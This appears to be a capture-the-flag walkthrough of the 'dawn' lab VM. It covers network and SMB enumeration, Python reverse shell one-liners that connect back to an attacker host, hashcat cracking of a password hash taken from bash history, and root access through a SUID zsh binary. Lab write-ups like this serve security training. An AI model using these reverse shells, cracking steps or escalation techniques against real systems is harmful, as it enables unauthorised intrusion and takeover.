

# dawn

Discovering VM IP:

```
netdiscover -r 10.0.2.0/24
```

```
Currently scanning: Finished! | Screen View: Unique Hosts
```

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:55:01:3a	1	60	PCS Systemtechnik GmbH
10.0.2.56	08:00:27:85:ab:21	1	60	PCS Systemtechnik GmbH

Scanning open ports:

```
root@kali:~# nmap dawn.local -A -sC -sV -p- -oA pwn/dawn
```

```

PORT      STATE SERVICE      VERSION
80/tcp    open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp  open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1
|_mysql-info:
|_  Protocol: 10
|_  Version: 5.5.5-10.3.15-MariaDB-1
|_  Thread ID: 13
|_  Capabilities flags: 63486
|_  Some Capabilities: ConnectWithDatabase, FoundRows, SupportsCompression, LongColumnF
ortsTransactions, Speaks41ProtocolNew, IgnoreSigpipes, ODBCClient, InteractiveClient, Ig
ns
|_  Status: Autocommit
|_  Salt: fgRC96@}xa['P;u^Wwt^
|_  Auth Plugin Name: 96
MAC Address: 08:00:27:85:AB:21 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: DAWN

Host script results:
|_clock-skew: mean: 1h19m57s, deviation: 2h18m33s, median: -2s
|_nbstat: NetBIOS name: DAWN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-os-discovery:
|_  OS: Windows 6.1 (Samba 4.9.5-Debian)
|_  Computer name: dawn
|_  NetBIOS computer name: DAWN\x00
|_  Domain name: dawn
|_  FQDN: dawn.dawn
|_  System time: 2019-09-13T11:45:46-04:00
|_smb-security-mode:
|_  account_used: guest
|_  authentication_level: user
|_  challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-security-mode:
|_  2.02:
|_  Message signing enabled but not required
|_smb2-time:
|_  date: 2019-09-13 11:45:46

```

Enumerating directories:

```
root@kali:~/pwn# wfuzz -c -z file,fuzz-Bo0oM.txt --hc 404 http://dawn.local/FUZZ
```

ID	Response	Lines	Word	Chars	Payload
000204:	C=403	11 L	32 W	296 Ch	".ht_wsr.txt"
000205:	C=403	11 L	32 W	289 Ch	".hta"
000206:	C=403	11 L	32 W	294 Ch	".htaccess"
000207:	C=403	11 L	32 W	298 Ch	".htaccess-dev"
000208:	C=403	11 L	32 W	300 Ch	".htaccess-local"
000209:	C=403	11 L	32 W	300 Ch	".htaccess-marco"
000211:	C=403	11 L	32 W	298 Ch	".htaccess.bak"
000210:	C=403	11 L	32 W	298 Ch	".htaccess.BAK"
000212:	C=403	11 L	32 W	299 Ch	".htaccess.bak1"
000213:	C=403	11 L	32 W	298 Ch	".htaccess.old"
000214:	C=403	11 L	32 W	299 Ch	".htaccess.orig"
000215:	C=403	11 L	32 W	301 Ch	".htaccess.sample"
000216:	C=403	11 L	32 W	299 Ch	".htaccess.save"
000217:	C=403	11 L	32 W	298 Ch	".htaccess.txt"
000218:	C=403	11 L	32 W	300 Ch	".htaccess_extra"
000219:	C=403	11 L	32 W	299 Ch	".htaccess_orig"
000220:	C=403	11 L	32 W	297 Ch	".htaccess_sc"
000221:	C=403	11 L	32 W	297 Ch	".htaccessBAK"
000222:	C=403	11 L	32 W	297 Ch	".htaccessOLD"
000223:	C=403	11 L	32 W	298 Ch	".htaccessOLD2"
000224:	C=403	11 L	32 W	295 Ch	".htaccess~"
000226:	C=403	11 L	32 W	293 Ch	".htgroup"
000227:	C=403	11 L	32 W	294 Ch	".htpasswd"
000228:	C=403	11 L	32 W	298 Ch	".htpasswd-old"
000229:	C=403	11 L	32 W	299 Ch	".htpasswd_test"
000230:	C=403	11 L	32 W	295 Ch	".htpasswds"
000231:	C=403	11 L	32 W	296 Ch	".httr-oauth"
000232:	C=403	11 L	32 W	293 Ch	".htusers"
002303:	C=200	22 L	84 W	791 Ch	"index.html"
002594:	C=301	9 L	28 W	307 Ch	"logs"
002605:	C=403	11 L	32 W	299 Ch	"logs/error.log"
002602:	C=200	19 L	92 W	1541 Ch	"logs/"
003460:	C=403	11 L	32 W	299 Ch	"server-status/"

Enumerating smb shares:  
enum4linux 10.0.2.56

```
root@kali:~/pwn# smbclient -L //dawn.local -U guest -N
```

Sharename	Type	Comment
print\$	Disk	Printer Drivers
ITDEPT	Disk	PLEASE DO NOT REMOVE
IPC\$	IPC	IPC Service (Samba 4.0.0)

Reconnecting with SMB1 for workgroup listing.

Server	Comment
Workgroup	Master
WORKGROUP	DAWN

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\dawn (Local User)
S-1-22-1-1001 Unix User\ganimedes (Local User)
```

Root is running pspy64 process and redirecting output to logs folder which are viewable in apache

```
2019/09/13 12:11:42 [31;1mCMD: UID=0 PID=360 /root/pspy64 [0m
2019/09/13 12:11:42 [31;1mCMD: UID=0 PID=353 /bin/sh -c /root/pspy64 > /var/www/html/logs/management.log [0m
```

Reverse shell: www-data

```
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",4444));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); [0m
```

```
www-data@dawn:/var/www/html$ sudo -l
Matching Defaults entries for www-data on dawn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on dawn:
    (root) NOPASSWD: /usr/bin/sudo
www-data@dawn:/var/www/html$
```

Reverse shell: Dawn

```
2019/09/13 13:32:01 [31;1mCMD: UID=1000 PID=2154 python -c import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.15",5555));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); [0m
```

```
dawn@dawn:~$ sudo -l
Matching Defaults entries for dawn on dawn:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User dawn may run the following commands on dawn:
    (root) NOPASSWD: /usr/bin/mysql
dawn@dawn:~$
```

Dawn's bash history:

```
echo "$l$$b0KpT2ij0.XcGlpjgAup9/"
ls
ls -la
nano .bash_history
echo "$l$$b0KpT2ij0.XcGlpjgAup9/"
nano .bash_history
echo "$l$$b0KpT2ij0.XcGlpjgAup9/"
```

Using hashcat to crack

<https://null-byte.wonderhowto.com/how-to/crack-shadow-hashes-after-getting-root-linux-system-0186386/>

```
root@kali:~/pwn# cat cracked.txt
$l$$b0KpT2ij0.XcGlpjgAup9/:on1i-chan29
root@kali:~/pwn# hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt
```

Able to login successfully to mysqldb but not able to do much from here.

```
dawn@dawn:~/home$ sudo mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 35
Server version: 10.3.15-MariaDB-1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> 
```

Walkthrough: Priv escalation, Missed zsh

```
dawn@dawn:/run/lock$ find / -perm -4000 2> /dev/null
/usr/sbin/mount.cifs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/zsh
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/chfn
/home/dawn/ITDEPT
```

```
dawn@dawn:/run/lock$ zsh
dawn# cd /root
dawn# ls -Flah
total 4.4M
drwx-----  6 root root 4.0K Sep 13 19:55 ./
drwxr-xr-x 18 root root 4.0K Jul 31 22:35 ../
-rw-----  1 root root  310 Sep 13 20:30 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4.0K Jul 31 23:11 .config/
-rw-r--r--  1 root root  260 Aug  2 19:33 flag.txt
drwx-----  3 root root 4.0K Aug  1 18:56 .gnupg/
drwxr-xr-x  3 root root 4.0K Jul 31 22:56 .local/
-rw-----  1 root root 1.9K Sep 13 19:55 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rwxr-xr-x  1 root root 4.3M Aug  1 17:39 pspy64*
-rw-r--r--  1 root root   66 Aug  1 18:39 .selected_editor
drwxr-xr-x  4 root root 4.0K Jul 31 23:13 .wine/
dawn# cat flag.txt
Hello! whitecr0wz here. I would like to congratulate and t
e available for rooting this box!

flag{3a3e52f0a6af0d6e36d7c1ced3a9fd59}
```